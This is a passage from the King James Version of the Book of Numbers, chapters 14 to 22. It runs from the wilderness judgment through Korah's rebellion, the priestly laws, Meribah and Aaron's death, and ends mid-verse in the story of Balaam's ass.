said should be a prey, them will +I bring in, and they shall know the land which ye have despised. + +14:32 But as for you, your carcases, they shall fall in this +wilderness. + +14:33 And your children shall wander in the wilderness forty years, +and bear your whoredoms, until your carcases be wasted in the +wilderness. + +14:34 After the number of the days in which ye searched the land, even +forty days, each day for a year, shall ye bear your iniquities, even +forty years, and ye shall know my breach of promise. + +14:35 I the LORD have said, I will surely do it unto all this evil +congregation, that are gathered together against me: in this +wilderness they shall be consumed, and there they shall die. + +14:36 And the men, which Moses sent to search the land, who returned, +and made all the congregation to murmur against him, by bringing up a +slander upon the land, 14:37 Even those men that did bring up the evil +report upon the land, died by the plague before the LORD. + +14:38 But Joshua the son of Nun, and Caleb the son of Jephunneh, which +were of the men that went to search the land, lived still. + +14:39 And Moses told these sayings unto all the children of Israel: +and the people mourned greatly. + +14:40 And they rose up early in the morning, and gat them up into the +top of the mountain, saying, Lo, we be here, and will go up unto the +place which the LORD hath promised: for we have sinned. + +14:41 And Moses said, Wherefore now do ye transgress the commandment +of the LORD? but it shall not prosper. + +14:42 Go not up, for the LORD is not among you; that ye be not smitten +before your enemies. + +14:43 For the Amalekites and the Canaanites are there before you, and +ye shall fall by the sword: because ye are turned away from the LORD, +therefore the LORD will not be with you. + +14:44 But they presumed to go up unto the hill top: nevertheless the +ark of the covenant of the LORD, and Moses, departed not out of the +camp. + +14:45 Then the Amalekites came down, and the Canaanites which dwelt in +that hill, and smote them, and discomfited them, even unto Hormah. + +15:1 And the LORD spake unto Moses, saying, 15:2 Speak unto the +children of Israel, and say unto them, When ye be come into the land +of your habitations, which I give unto you, 15:3 And will make an +offering by fire unto the LORD, a burnt offering, or a sacrifice in +performing a vow, or in a freewill offering, or in your solemn feasts, +to make a sweet savour unto the LORD, of the herd or of the flock: +15:4 Then shall he that offereth his offering unto the LORD bring a +meat offering of a tenth deal of flour mingled with the fourth part of +an hin of oil. + +15:5 And the fourth part of an hin of wine for a drink offering shalt +thou prepare with the burnt offering or sacrifice, for one lamb. + +15:6 Or for a ram, thou shalt prepare for a meat offering two tenth +deals of flour mingled with the third part of an hin of oil. + +15:7 And for a drink offering thou shalt offer the third part of an +hin of wine, for a sweet savour unto the LORD. + +15:8 And when thou preparest a bullock for a burnt offering, or for a +sacrifice in performing a vow, or peace offerings unto the LORD: 15:9 +Then shall he bring with a bullock a meat offering of three tenth +deals of flour mingled with half an hin of oil. + +15:10 And thou shalt bring for a drink offering half an hin of wine, +for an offering made by fire, of a sweet savour unto the LORD. + +15:11 Thus shall it be done for one bullock, or for one ram, or for a +lamb, or a kid. + +15:12 According to the number that ye shall prepare, so shall ye do to +every one according to their number. + +15:13 All that are born of the country shall do these things after +this manner, in offering an offering made by fire, of a sweet savour +unto the LORD. + +15:14 And if a stranger sojourn with you, or whosoever be among you in +your generations, and will offer an offering made by fire, of a sweet +savour unto the LORD; as ye do, so he shall do. + +15:15 One ordinance shall be both for you of the congregation, and +also for the stranger that sojourneth with you, an ordinance for ever +in your generations: as ye are, so shall the stranger be before the +LORD. + +15:16 One law and one manner shall be for you, and for the stranger +that sojourneth with you. + +15:17 And the LORD spake unto Moses, saying, 15:18 Speak unto the +children of Israel, and say unto them, When ye come into the land +whither I bring you, 15:19 Then it shall be, that, when ye eat of the +bread of the land, ye shall offer up an heave offering unto the LORD. + +15:20 Ye shall offer up a cake of the first of your dough for an heave +offering: as ye do the heave offering of the threshingfloor, so shall +ye heave it. + +15:21 Of the first of your dough ye shall give unto the LORD an heave +offering in your generations. + +15:22 And if ye have erred, and not observed all these commandments, +which the LORD hath spoken unto Moses, 15:23 Even all that the LORD +hath commanded you by the hand of Moses, from the day that the LORD +commanded Moses, and henceforward among your generations; 15:24 Then +it shall be, if ought be committed by ignorance without the knowledge +of the congregation, that all the congregation shall offer one young +bullock for a burnt offering, for a sweet savour unto the LORD, with +his meat offering, and his drink offering, according to the manner, +and one kid of the goats for a sin offering. + +15:25 And the priest shall make an atonement for all the congregation +of the children of Israel, and it shall be forgiven them; for it is +ignorance: and they shall bring their offering, a sacrifice made by +fire unto the LORD, and their sin offering before the LORD, for their +ignorance: 15:26 And it shall be forgiven all the congregation of the +children of Israel, and the stranger that sojourneth among them; +seeing all the people were in ignorance. + +15:27 And if any soul sin through ignorance, then he shall bring a she +goat of the first year for a sin offering. + +15:28 And the priest shall make an atonement for the soul that sinneth +ignorantly, when he sinneth by ignorance before the LORD, to make an +atonement for him; and it shall be forgiven him. + +15:29 Ye shall have one law for him that sinneth through ignorance, +both for him that is born among the children of Israel, and for the +stranger that sojourneth among them. + +15:30 But the soul that doeth ought presumptuously, whether he be born +in the land, or a stranger, the same reproacheth the LORD; and that +soul shall be cut off from among his people. + +15:31 Because he hath despised the word of the LORD, and hath broken +his commandment, that soul shall utterly be cut off; his iniquity +shall be upon him. + +15:32 And while the children of Israel were in the wilderness, they +found a man that gathered sticks upon the sabbath day. + +15:33 And they that found him gathering sticks brought him unto Moses +and Aaron, and unto all the congregation. + +15:34 And they put him in ward, because it was not declared what +should be done to him. + +15:35 And the LORD said unto Moses, The man shall be surely put to +death: all the congregation shall stone him with stones without the +camp. + +15:36 And all the congregation brought him without the camp, and +stoned him with stones, and he died; as the LORD commanded Moses. + +15:37 And the LORD spake unto Moses, saying, 15:38 Speak unto the +children of Israel, and bid them that they make them fringes in the +borders of their garments throughout their generations, and that they +put upon the fringe of the borders a ribband of blue: 15:39 And it +shall be unto you for a fringe, that ye may look upon it, and remember +all the commandments of the LORD, and do them; and that ye seek not +after your own heart and your own eyes, after which ye use to go a +whoring: 15:40 That ye may remember, and do all my commandments, and +be holy unto your God. + +15:41 I am the LORD your God, which brought you out of the land of +Egypt, to be your God: I am the LORD your God. + +16:1 Now Korah, the son of Izhar, the son of Kohath, the son of Levi, +and Dathan and Abiram, the sons of Eliab, and On, the son of Peleth, +sons of Reuben, took men: 16:2 And they rose up before Moses, with +certain of the children of Israel, two hundred and fifty princes of +the assembly, famous in the congregation, men of renown: 16:3 And they +gathered themselves together against Moses and against Aaron, and said +unto them, Ye take too much upon you, seeing all the congregation are +holy, every one of them, and the LORD is among them: wherefore then +lift ye up yourselves above the congregation of the LORD? 16:4 And +when Moses heard it, he fell upon his face: 16:5 And he spake unto +Korah and unto all his company, saying, Even to morrow the LORD will +shew who are his, and who is holy; and will cause him to come near +unto him: even him whom he hath chosen will he cause to come near unto +him. + +16:6 This do; Take you censers, Korah, and all his company; 16:7 And +put fire therein, and put incense in them before the LORD to morrow: +and it shall be that the man whom the LORD doth choose, he shall be +holy: ye take too much upon you, ye sons of Levi. + +16:8 And Moses said unto Korah, Hear, I pray you, ye sons of Levi: +16:9 Seemeth it but a small thing unto you, that the God of Israel +hath separated you from the congregation of Israel, to bring you near +to himself to do the service of the tabernacle of the LORD, and to +stand before the congregation to minister unto them? 16:10 And he +hath brought thee near to him, and all thy brethren the sons of Levi +with thee: and seek ye the priesthood also? 16:11 For which cause +both thou and all thy company are gathered together against the LORD: +and what is Aaron, that ye murmur against him? 16:12 And Moses sent +to call Dathan and Abiram, the sons of Eliab: which said, We will not +come up: 16:13 Is it a small thing that thou hast brought us up out of +a land that floweth with milk and honey, to kill us in the wilderness, +except thou make thyself altogether a prince over us? 16:14 Moreover +thou hast not brought us into a land that floweth with milk and honey, +or given us inheritance of fields and vineyards: wilt thou put out the +eyes of these men? we will not come up. + +16:15 And Moses was very wroth, and said unto the LORD, Respect not +thou their offering: I have not taken one ass from them, neither have +I hurt one of them. + +16:16 And Moses said unto Korah, Be thou and all thy company before +the LORD, thou, and they, and Aaron, to morrow: 16:17 And take every +man his censer, and put incense in them, and bring ye before the LORD +every man his censer, two hundred and fifty censers; thou also, and +Aaron, each of you his censer. + +16:18 And they took every man his censer, and put fire in them, and +laid incense thereon, and stood in the door of the tabernacle of the +congregation with Moses and Aaron. + +16:19 And Korah gathered all the congregation against them unto the +door of the tabernacle of the congregation: and the glory of the LORD +appeared unto all the congregation. + +16:20 And the LORD spake unto Moses and unto Aaron, saying, 16:21 +Separate yourselves from among this congregation, that I may consume +them in a moment. + +16:22 And they fell upon their faces, and said, O God, the God of the +spirits of all flesh, shall one man sin, and wilt thou be wroth with +all the congregation? 16:23 And the LORD spake unto Moses, saying, +16:24 Speak unto the congregation, saying, Get you up from about the +tabernacle of Korah, Dathan, and Abiram. + +16:25 And Moses rose up and went unto Dathan and Abiram; and the +elders of Israel followed him. + +16:26 And he spake unto the congregation, saying, Depart, I pray you, +from the tents of these wicked men, and touch nothing of their's, lest +ye be consumed in all their sins. + +16:27 So they gat up from the tabernacle of Korah, Dathan, and Abiram, +on every side: and Dathan and Abiram came out, and stood in the door +of their tents, and their wives, and their sons, and their little +children. + +16:28 And Moses said, Hereby ye shall know that the LORD hath sent me +to do all these works; for I have not done them of mine own mind. + +16:29 If these men die the common death of all men, or if they be +visited after the visitation of all men; then the LORD hath not sent +me. + +16:30 But if the LORD make a new thing, and the earth open her mouth, +and swallow them up, with all that appertain unto them, and they go +down quick into the pit; then ye shall understand that these men have +provoked the LORD. + +16:31 And it came to pass, as he had made an end of speaking all these +words, that the ground clave asunder that was under them: 16:32 And +the earth opened her mouth, and swallowed them up, and their houses, +and all the men that appertained unto Korah, and all their goods. + +16:33 They, and all that appertained to them, went down alive into the +pit, and the earth closed upon them: and they perished from among the +congregation. + +16:34 And all Israel that were round about them fled at the cry of +them: for they said, Lest the earth swallow us up also. + +16:35 And there came out a fire from the LORD, and consumed the two +hundred and fifty men that offered incense. + +16:36 And the LORD spake unto Moses, saying, 16:37 Speak unto Eleazar +the son of Aaron the priest, that he take up the censers out of the +burning, and scatter thou the fire yonder; for they are hallowed. + +16:38 The censers of these sinners against their own souls, let them +make them broad plates for a covering of the altar: for they offered +them before the LORD, therefore they are hallowed: and they shall be a +sign unto the children of Israel. + +16:39 And Eleazar the priest took the brasen censers, wherewith they +that were burnt had offered; and they were made broad plates for a +covering of the altar: 16:40 To be a memorial unto the children of +Israel, that no stranger, which is not of the seed of Aaron, come near +to offer incense before the LORD; that he be not as Korah, and as his +company: as the LORD said to him by the hand of Moses. + +16:41 But on the morrow all the congregation of the children of Israel +murmured against Moses and against Aaron, saying, Ye have killed the +people of the LORD. + +16:42 And it came to pass, when the congregation was gathered against +Moses and against Aaron, that they looked toward the tabernacle of the +congregation: and, behold, the cloud covered it, and the glory of the +LORD appeared. + +16:43 And Moses and Aaron came before the tabernacle of the +congregation. + +16:44 And the LORD spake unto Moses, saying, 16:45 Get you up from +among this congregation, that I may consume them as in a moment. And +they fell upon their faces. + +16:46 And Moses said unto Aaron, Take a censer, and put fire therein +from off the altar, and put on incense, and go quickly unto the +congregation, and make an atonement for them: for there is wrath gone +out from the LORD; the plague is begun. + +16:47 And Aaron took as Moses commanded, and ran into the midst of the +congregation; and, behold, the plague was begun among the people: and +he put on incense, and made an atonement for the people. + +16:48 And he stood between the dead and the living; and the plague was +stayed. + +16:49 Now they that died in the plague were fourteen thousand and +seven hundred, beside them that died about the matter of Korah. + +16:50 And Aaron returned unto Moses unto the door of the tabernacle of +the congregation: and the plague was stayed. + +17:1 And the LORD spake unto Moses, saying, 17:2 Speak unto the +children of Israel, and take of every one of them a rod according to +the house of their fathers, of all their princes according to the +house of their fathers twelve rods: write thou every man's name upon +his rod. + +17:3 And thou shalt write Aaron's name upon the rod of Levi: for one +rod shall be for the head of the house of their fathers. + +17:4 And thou shalt lay them up in the tabernacle of the congregation +before the testimony, where I will meet with you. + +17:5 And it shall come to pass, that the man's rod, whom I shall +choose, shall blossom: and I will make to cease from me the murmurings +of the children of Israel, whereby they murmur against you. + +17:6 And Moses spake unto the children of Israel, and every one of +their princes gave him a rod apiece, for each prince one, according to +their fathers' houses, even twelve rods: and the rod of Aaron was +among their rods. + +17:7 And Moses laid up the rods before the LORD in the tabernacle of +witness. + +17:8 And it came to pass, that on the morrow Moses went into the +tabernacle of witness; and, behold, the rod of Aaron for the house of +Levi was budded, and brought forth buds, and bloomed blossoms, and +yielded almonds. + +17:9 And Moses brought out all the rods from before the LORD unto all +the children of Israel: and they looked, and took every man his rod. + +17:10 And the LORD said unto Moses, Bring Aaron's rod again before the +testimony, to be kept for a token against the rebels; and thou shalt +quite take away their murmurings from me, that they die not. + +17:11 And Moses did so: as the LORD commanded him, so did he. + +17:12 And the children of Israel spake unto Moses, saying, Behold, we +die, we perish, we all perish. + +17:13 Whosoever cometh any thing near unto the tabernacle of the LORD +shall die: shall we be consumed with dying? 18:1 And the LORD said +unto Aaron, Thou and thy sons and thy father's house with thee shall +bear the iniquity of the sanctuary: and thou and thy sons with thee +shall bear the iniquity of your priesthood. + +18:2 And thy brethren also of the tribe of Levi, the tribe of thy +father, bring thou with thee, that they may be joined unto thee, and +minister unto thee: but thou and thy sons with thee shall minister +before the tabernacle of witness. + +18:3 And they shall keep thy charge, and the charge of all the +tabernacle: only they shall not come nigh the vessels of the sanctuary +and the altar, that neither they, nor ye also, die. + +18:4 And they shall be joined unto thee, and keep the charge of the +tabernacle of the congregation, for all the service of the tabernacle: +and a stranger shall not come nigh unto you. + +18:5 And ye shall keep the charge of the sanctuary, and the charge of +the altar: that there be no wrath any more upon the children of +Israel. + +18:6 And I, behold, I have taken your brethren the Levites from among +the children of Israel: to you they are given as a gift for the LORD, +to do the service of the tabernacle of the congregation. + +18:7 Therefore thou and thy sons with thee shall keep your priest's +office for everything of the altar, and within the vail; and ye shall +serve: I have given your priest's office unto you as a service of +gift: and the stranger that cometh nigh shall be put to death. + +18:8 And the LORD spake unto Aaron, Behold, I also have given thee the +charge of mine heave offerings of all the hallowed things of the +children of Israel; unto thee have I given them by reason of the +anointing, and to thy sons, by an ordinance for ever. + +18:9 This shall be thine of the most holy things, reserved from the +fire: every oblation of theirs, every meat offering of theirs, and +every sin offering of theirs, and every trespass offering of theirs +which they shall render unto me, shall be most holy for thee and for +thy sons. + +18:10 In the most holy place shalt thou eat it; every male shall eat +it: it shall be holy unto thee. + +18:11 And this is thine; the heave offering of their gift, with all +the wave offerings of the children of Israel: I have given them unto +thee, and to thy sons and to thy daughters with thee, by a statute for +ever: every one that is clean in thy house shall eat of it. + +18:12 All the best of the oil, and all the best of the wine, and of +the wheat, the firstfruits of them which they shall offer unto the +LORD, them have I given thee. + +18:13 And whatsoever is first ripe in the land, which they shall bring +unto the LORD, shall be thine; every one that is clean in thine house +shall eat of it. + +18:14 Every thing devoted in Israel shall be thine. + +18:15 Every thing that openeth the matrix in all flesh, which they +bring unto the LORD, whether it be of men or beasts, shall be thine: +nevertheless the firstborn of man shalt thou surely redeem, and the +firstling of unclean beasts shalt thou redeem. + +18:16 And those that are to be redeemed from a month old shalt thou +redeem, according to thine estimation, for the money of five shekels, +after the shekel of the sanctuary, which is twenty gerahs. + +18:17 But the firstling of a cow, or the firstling of a sheep, or the +firstling of a goat, thou shalt not redeem; they are holy: thou shalt +sprinkle their blood upon the altar, and shalt burn their fat for an +offering made by fire, for a sweet savour unto the LORD. + +18:18 And the flesh of them shall be thine, as the wave breast and as +the right shoulder are thine. + +18:19 All the heave offerings of the holy things, which the children +of Israel offer unto the LORD, have I given thee, and thy sons and thy +daughters with thee, by a statute for ever: it is a covenant of salt +for ever before the LORD unto thee and to thy seed with thee. + +18:20 And the LORD spake unto Aaron, Thou shalt have no inheritance in +their land, neither shalt thou have any part among them: I am thy part +and thine inheritance among the children of Israel. + +18:21 And, behold, I have given the children of Levi all the tenth in +Israel for an inheritance, for their service which they serve, even +the service of the tabernacle of the congregation. + +18:22 Neither must the children of Israel henceforth come nigh the +tabernacle of the congregation, lest they bear sin, and die. + +18:23 But the Levites shall do the service of the tabernacle of the +congregation, and they shall bear their iniquity: it shall be a +statute for ever throughout your generations, that among the children +of Israel they have no inheritance. + +18:24 But the tithes of the children of Israel, which they offer as an +heave offering unto the LORD, I have given to the Levites to inherit: +therefore I have said unto them, Among the children of Israel they +shall have no inheritance. + +18:25 And the LORD spake unto Moses, saying, 18:26 Thus speak unto the +Levites, and say unto them, When ye take of the children of Israel the +tithes which I have given you from them for your inheritance, then ye +shall offer up an heave offering of it for the LORD, even a tenth part +of the tithe. + +18:27 And this your heave offering shall be reckoned unto you, as +though it were the corn of the threshingfloor, and as the fulness of +the winepress. + +18:28 Thus ye also shall offer an heave offering unto the LORD of all +your tithes, which ye receive of the children of Israel; and ye shall +give thereof the LORD's heave offering to Aaron the priest. + +18:29 Out of all your gifts ye shall offer every heave offering of the +LORD, of all the best thereof, even the hallowed part thereof out of +it. + +18:30 Therefore thou shalt say unto them, When ye have heaved the best +thereof from it, then it shall be counted unto the Levites as the +increase of the threshingfloor, and as the increase of the winepress. + +18:31 And ye shall eat it in every place, ye and your households: for +it is your reward for your service in the tabernacle of the +congregation. + +18:32 And ye shall bear no sin by reason of it, when ye have heaved +from it the best of it: neither shall ye pollute the holy things of +the children of Israel, lest ye die. + +19:1 And the LORD spake unto Moses and unto Aaron, saying, 19:2 This +is the ordinance of the law which the LORD hath commanded, saying, +Speak unto the children of Israel, that they bring thee a red heifer +without spot, wherein is no blemish, and upon which never came yoke: +19:3 And ye shall give her unto Eleazar the priest, that he may bring +her forth without the camp, and one shall slay her before his face: +19:4 And Eleazar the priest shall take of her blood with his finger, +and sprinkle of her blood directly before the tabernacle of the +congregation seven times: 19:5 And one shall burn the heifer in his +sight; her skin, and her flesh, and her blood, with her dung, shall he +burn: 19:6 And the priest shall take cedar wood, and hyssop, and +scarlet, and cast it into the midst of the burning of the heifer. + +19:7 Then the priest shall wash his clothes, and he shall bathe his +flesh in water, and afterward he shall come into the camp, and the +priest shall be unclean until the even. + +19:8 And he that burneth her shall wash his clothes in water, and +bathe his flesh in water, and shall be unclean until the even. + +19:9 And a man that is clean shall gather up the ashes of the heifer, +and lay them up without the camp in a clean place, and it shall be +kept for the congregation of the children of Israel for a water of +separation: it is a purification for sin. + +19:10 And he that gathereth the ashes of the heifer shall wash his +clothes, and be unclean until the even: and it shall be unto the +children of Israel, and unto the stranger that sojourneth among them, +for a statute for ever. + +19:11 He that toucheth the dead body of any man shall be unclean seven +days. + +19:12 He shall purify himself with it on the third day, and on the +seventh day he shall be clean: but if he purify not himself the third +day, then the seventh day he shall not be clean. + +19:13 Whosoever toucheth the dead body of any man that is dead, and +purifieth not himself, defileth the tabernacle of the LORD; and that +soul shall be cut off from Israel: because the water of separation was +not sprinkled upon him, he shall be unclean; his uncleanness is yet +upon him. + +19:14 This is the law, when a man dieth in a tent: all that come into +the tent, and all that is in the tent, shall be unclean seven days. + +19:15 And every open vessel, which hath no covering bound upon it, is +unclean. + +19:16 And whosoever toucheth one that is slain with a sword in the +open fields, or a dead body, or a bone of a man, or a grave, shall be +unclean seven days. + +19:17 And for an unclean person they shall take of the ashes of the +burnt heifer of purification for sin, and running water shall be put +thereto in a vessel: 19:18 And a clean person shall take hyssop, and +dip it in the water, and sprinkle it upon the tent, and upon all the +vessels, and upon the persons that were there, and upon him that +touched a bone, or one slain, or one dead, or a grave: 19:19 And the +clean person shall sprinkle upon the unclean on the third day, and on +the seventh day: and on the seventh day he shall purify himself, and +wash his clothes, and bathe himself in water, and shall be clean at +even. + +19:20 But the man that shall be unclean, and shall not purify himself, +that soul shall be cut off from among the congregation, because he +hath defiled the sanctuary of the LORD: the water of separation hath +not been sprinkled upon him; he is unclean. + +19:21 And it shall be a perpetual statute unto them, that he that +sprinkleth the water of separation shall wash his clothes; and he that +toucheth the water of separation shall be unclean until even. + +19:22 And whatsoever the unclean person toucheth shall be unclean; and +the soul that toucheth it shall be unclean until even. + +20:1 Then came the children of Israel, even the whole congregation, +into the desert of Zin in the first month: and the people abode in +Kadesh; and Miriam died there, and was buried there. + +20:2 And there was no water for the congregation: and they gathered +themselves together against Moses and against Aaron. + +20:3 And the people chode with Moses, and spake, saying, Would God +that we had died when our brethren died before the LORD! 20:4 And why +have ye brought up the congregation of the LORD into this wilderness, +that we and our cattle should die there? 20:5 And wherefore have ye +made us to come up out of Egypt, to bring us in unto this evil place? +it is no place of seed, or of figs, or of vines, or of pomegranates; +neither is there any water to drink. + +20:6 And Moses and Aaron went from the presence of the assembly unto +the door of the tabernacle of the congregation, and they fell upon +their faces: and the glory of the LORD appeared unto them. + +20:7 And the LORD spake unto Moses, saying, 20:8 Take the rod, and +gather thou the assembly together, thou, and Aaron thy brother, and +speak ye unto the rock before their eyes; and it shall give forth his +water, and thou shalt bring forth to them water out of the rock: so +thou shalt give the congregation and their beasts drink. + +20:9 And Moses took the rod from before the LORD, as he commanded him. + +20:10 And Moses and Aaron gathered the congregation together before +the rock, and he said unto them, Hear now, ye rebels; must we fetch +you water out of this rock? 20:11 And Moses lifted up his hand, and +with his rod he smote the rock twice: and the water came out +abundantly, and the congregation drank, and their beasts also. + +20:12 And the LORD spake unto Moses and Aaron, Because ye believed me +not, to sanctify me in the eyes of the children of Israel, therefore +ye shall not bring this congregation into the land which I have given +them. + +20:13 This is the water of Meribah; because the children of Israel +strove with the LORD, and he was sanctified in them. + +20:14 And Moses sent messengers from Kadesh unto the king of Edom, +Thus saith thy brother Israel, Thou knowest all the travail that hath +befallen us: 20:15 How our fathers went down into Egypt, and we have +dwelt in Egypt a long time; and the Egyptians vexed us, and our +fathers: 20:16 And when we cried unto the LORD, he heard our voice, +and sent an angel, and hath brought us forth out of Egypt: and, +behold, we are in Kadesh, a city in the uttermost of thy border: 20:17 +Let us pass, I pray thee, through thy country: we will not pass +through the fields, or through the vineyards, neither will we drink of +the water of the wells: we will go by the king's high way, we will not +turn to the right hand nor to the left, until we have passed thy +borders. + +20:18 And Edom said unto him, Thou shalt not pass by me, lest I come +out against thee with the sword. + +20:19 And the children of Israel said unto him, We will go by the high +way: and if I and my cattle drink of thy water, then I will pay for +it: I will only, without doing anything else, go through on my feet. + +20:20 And he said, Thou shalt not go through. And Edom came out +against him with much people, and with a strong hand. + +20:21 Thus Edom refused to give Israel passage through his border: +wherefore Israel turned away from him. + +20:22 And the children of Israel, even the whole congregation, +journeyed from Kadesh, and came unto mount Hor. + +20:23 And the LORD spake unto Moses and Aaron in mount Hor, by the +coast of the land of Edom, saying, 20:24 Aaron shall be gathered unto +his people: for he shall not enter into the land which I have given +unto the children of Israel, because ye rebelled against my word at +the water of Meribah. + +20:25 Take Aaron and Eleazar his son, and bring them up unto mount +Hor: 20:26 And strip Aaron of his garments, and put them upon Eleazar +his son: and Aaron shall be gathered unto his people, and shall die +there. + +20:27 And Moses did as the LORD commanded: and they went up into mount +Hor in the sight of all the congregation. + +20:28 And Moses stripped Aaron of his garments, and put them upon +Eleazar his son; and Aaron died there in the top of the mount: and +Moses and Eleazar came down from the mount. + +20:29 And when all the congregation saw that Aaron was dead, they +mourned for Aaron thirty days, even all the house of Israel. + +21:1 And when king Arad the Canaanite, which dwelt in the south, heard +tell that Israel came by the way of the spies; then he fought against +Israel, and took some of them prisoners. + +21:2 And Israel vowed a vow unto the LORD, and said, If thou wilt +indeed deliver this people into my hand, then I will utterly destroy +their cities. + +21:3 And the LORD hearkened to the voice of Israel, and delivered up +the Canaanites; and they utterly destroyed them and their cities: and +he called the name of the place Hormah. + +21:4 And they journeyed from mount Hor by the way of the Red sea, to +compass the land of Edom: and the soul of the people was much +discouraged because of the way. + +21:5 And the people spake against God, and against Moses, Wherefore +have ye brought us up out of Egypt to die in the wilderness? for there +is no bread, neither is there any water; and our soul loatheth this +light bread. + +21:6 And the LORD sent fiery serpents among the people, and they bit +the people; and much people of Israel died. + +21:7 Therefore the people came to Moses, and said, We have sinned, for +we have spoken against the LORD, and against thee; pray unto the LORD, +that he take away the serpents from us. And Moses prayed for the +people. + +21:8 And the LORD said unto Moses, Make thee a fiery serpent, and set +it upon a pole: and it shall come to pass, that every one that is +bitten, when he looketh upon it, shall live. + +21:9 And Moses made a serpent of brass, and put it upon a pole, and it +came to pass, that if a serpent had bitten any man, when he beheld the +serpent of brass, he lived. + +21:10 And the children of Israel set forward, and pitched in Oboth. + +21:11 And they journeyed from Oboth, and pitched at Ijeabarim, in the +wilderness which is before Moab, toward the sunrising. + +21:12 From thence they removed, and pitched in the valley of Zared. + +21:13 From thence they removed, and pitched on the other side of +Arnon, which is in the wilderness that cometh out of the coasts of the +Amorites: for Arnon is the border of Moab, between Moab and the +Amorites. + +21:14 Wherefore it is said in the book of the wars of the LORD, What +he did in the Red sea, and in the brooks of Arnon, 21:15 And at the +stream of the brooks that goeth down to the dwelling of Ar, and lieth +upon the border of Moab. + +21:16 And from thence they went to Beer: that is the well whereof the +LORD spake unto Moses, Gather the people together, and I will give +them water. + +21:17 Then Israel sang this song, Spring up, O well; sing ye unto it: +21:18 The princes digged the well, the nobles of the people digged it, +by the direction of the lawgiver, with their staves. And from the +wilderness they went to Mattanah: 21:19 And from Mattanah to Nahaliel: +and from Nahaliel to Bamoth: 21:20 And from Bamoth in the valley, that +is in the country of Moab, to the top of Pisgah, which looketh toward +Jeshimon. + +21:21 And Israel sent messengers unto Sihon king of the Amorites, +saying, 21:22 Let me pass through thy land: we will not turn into the +fields, or into the vineyards; we will not drink of the waters of the +well: but we will go along by the king's high way, until we be past +thy borders. + +21:23 And Sihon would not suffer Israel to pass through his border: +but Sihon gathered all his people together, and went out against +Israel into the wilderness: and he came to Jahaz, and fought against +Israel. + +21:24 And Israel smote him with the edge of the sword, and possessed +his land from Arnon unto Jabbok, even unto the children of Ammon: for +the border of the children of Ammon was strong. + +21:25 And Israel took all these cities: and Israel dwelt in all the +cities of the Amorites, in Heshbon, and in all the villages thereof. + +21:26 For Heshbon was the city of Sihon the king of the Amorites, who +had fought against the former king of Moab, and taken all his land out +of his hand, even unto Arnon. + +21:27 Wherefore they that speak in proverbs say, Come into Heshbon, +let the city of Sihon be built and prepared: 21:28 For there is a fire +gone out of Heshbon, a flame from the city of Sihon: it hath consumed +Ar of Moab, and the lords of the high places of Arnon. + +21:29 Woe to thee, Moab! thou art undone, O people of Chemosh: he hath +given his sons that escaped, and his daughters, into captivity unto +Sihon king of the Amorites. + +21:30 We have shot at them; Heshbon is perished even unto Dibon, and +we have laid them waste even unto Nophah, which reacheth unto Medeba. + +21:31 Thus Israel dwelt in the land of the Amorites. + +21:32 And Moses sent to spy out Jaazer, and they took the villages +thereof, and drove out the Amorites that were there. + +21:33 And they turned and went up by the way of Bashan: and Og the +king of Bashan went out against them, he, and all his people, to the +battle at Edrei. + +21:34 And the LORD said unto Moses, Fear him not: for I have delivered +him into thy hand, and all his people, and his land; and thou shalt do +to him as thou didst unto Sihon king of the Amorites, which dwelt at +Heshbon. + +21:35 So they smote him, and his sons, and all his people, until there +was none left him alive: and they possessed his land. + +22:1 And the children of Israel set forward, and pitched in the plains +of Moab on this side Jordan by Jericho. + +22:2 And Balak the son of Zippor saw all that Israel had done to the +Amorites. + +22:3 And Moab was sore afraid of the people, because they were many: +and Moab was distressed because of the children of Israel. + +22:4 And Moab said unto the elders of Midian, Now shall this company +lick up all that are round about us, as the ox licketh up the grass of +the field. + +And Balak the son of Zippor was king of the Moabites at that time. + +22:5 He sent messengers therefore unto Balaam the son of Beor to +Pethor, which is by the river of the land of the children of his +people, to call him, saying, Behold, there is a people come out from +Egypt: behold, they cover the face of the earth, and they abide over +against me: 22:6 Come now therefore, I pray thee, curse me this +people; for they are too mighty for me: peradventure I shall prevail, +that we may smite them, and that I may drive them out of the land: for +I wot that he whom thou blessest is blessed, and he whom thou cursest +is cursed. + +22:7 And the elders of Moab and the elders of Midian departed with the +rewards of divination in their hand; and they came unto Balaam, and +spake unto him the words of Balak. + +22:8 And he said unto them, Lodge here this night, and I will bring +you word again, as the LORD shall speak unto me: and the princes of +Moab abode with Balaam. + +22:9 And God came unto Balaam, and said, What men are these with thee? +22:10 And Balaam said unto God, Balak the son of Zippor, king of Moab, +hath sent unto me, saying, 22:11 Behold, there is a people come out of +Egypt, which covereth the face of the earth: come now, curse me them; +peradventure I shall be able to overcome them, and drive them out. + +22:12 And God said unto Balaam, Thou shalt not go with them; thou +shalt not curse the people: for they are blessed. + +22:13 And Balaam rose up in the morning, and said unto the princes of +Balak, Get you into your land: for the LORD refuseth to give me leave +to go with you. + +22:14 And the princes of Moab rose up, and they went unto Balak, and +said, Balaam refuseth to come with us. + +22:15 And Balak sent yet again princes, more, and more honourable than +they. + +22:16 And they came to Balaam, and said to him, Thus saith Balak the +son of Zippor, Let nothing, I pray thee, hinder thee from coming unto +me: 22:17 For I will promote thee unto very great honour, and I will +do whatsoever thou sayest unto me: come therefore, I pray thee, curse +me this people. + +22:18 And Balaam answered and said unto the servants of Balak, If +Balak would give me his house full of silver and gold, I cannot go +beyond the word of the LORD my God, to do less or more. + +22:19 Now therefore, I pray you, tarry ye also here this night, that I +may know what the LORD will say unto me more. + +22:20 And God came unto Balaam at night, and said unto him, If the men +come to call thee, rise up, and go with them; but yet the word which I +shall say unto thee, that shalt thou do. + +22:21 And Balaam rose up in the morning, and saddled his ass, and went +with the princes of Moab. + +22:22 And God's anger was kindled because he went: and the angel of +the LORD stood in the way for an adversary against him. Now he was +riding upon his ass, and his two servants were with him. + +22:23 And the ass saw the angel of the LORD standing in the way, and +his sword drawn in his hand: and the ass turned aside out of the way, +and went into the field: and Balaam smote the ass, to turn her into +the way. + +22:24 But the angel of the LORD stood in a path of the vineyards, a +wall being on this side, and a wall on that side. + +22:25 And when the ass saw the angel of the LORD, she thrust herself +unto the wall, and crushed Balaam's foot against the wall: and he +smote her again. + +22:26 And the angel of the LORD went further, and stood in a narrow +place, where was no way to turn either to the right hand or to the +left. + +22:27 And when the ass saw the angel of the LORD, she fell down under +Balaam: and Balaam's anger was kindled, and he smote the ass with a +staff. + +22:28 And the LORD opened the mouth of the ass, and she said unto +Balaam, What have I done unto thee, that thou hast smitten me these +three times? 22:29 And Balaam said unto the ass, Because thou 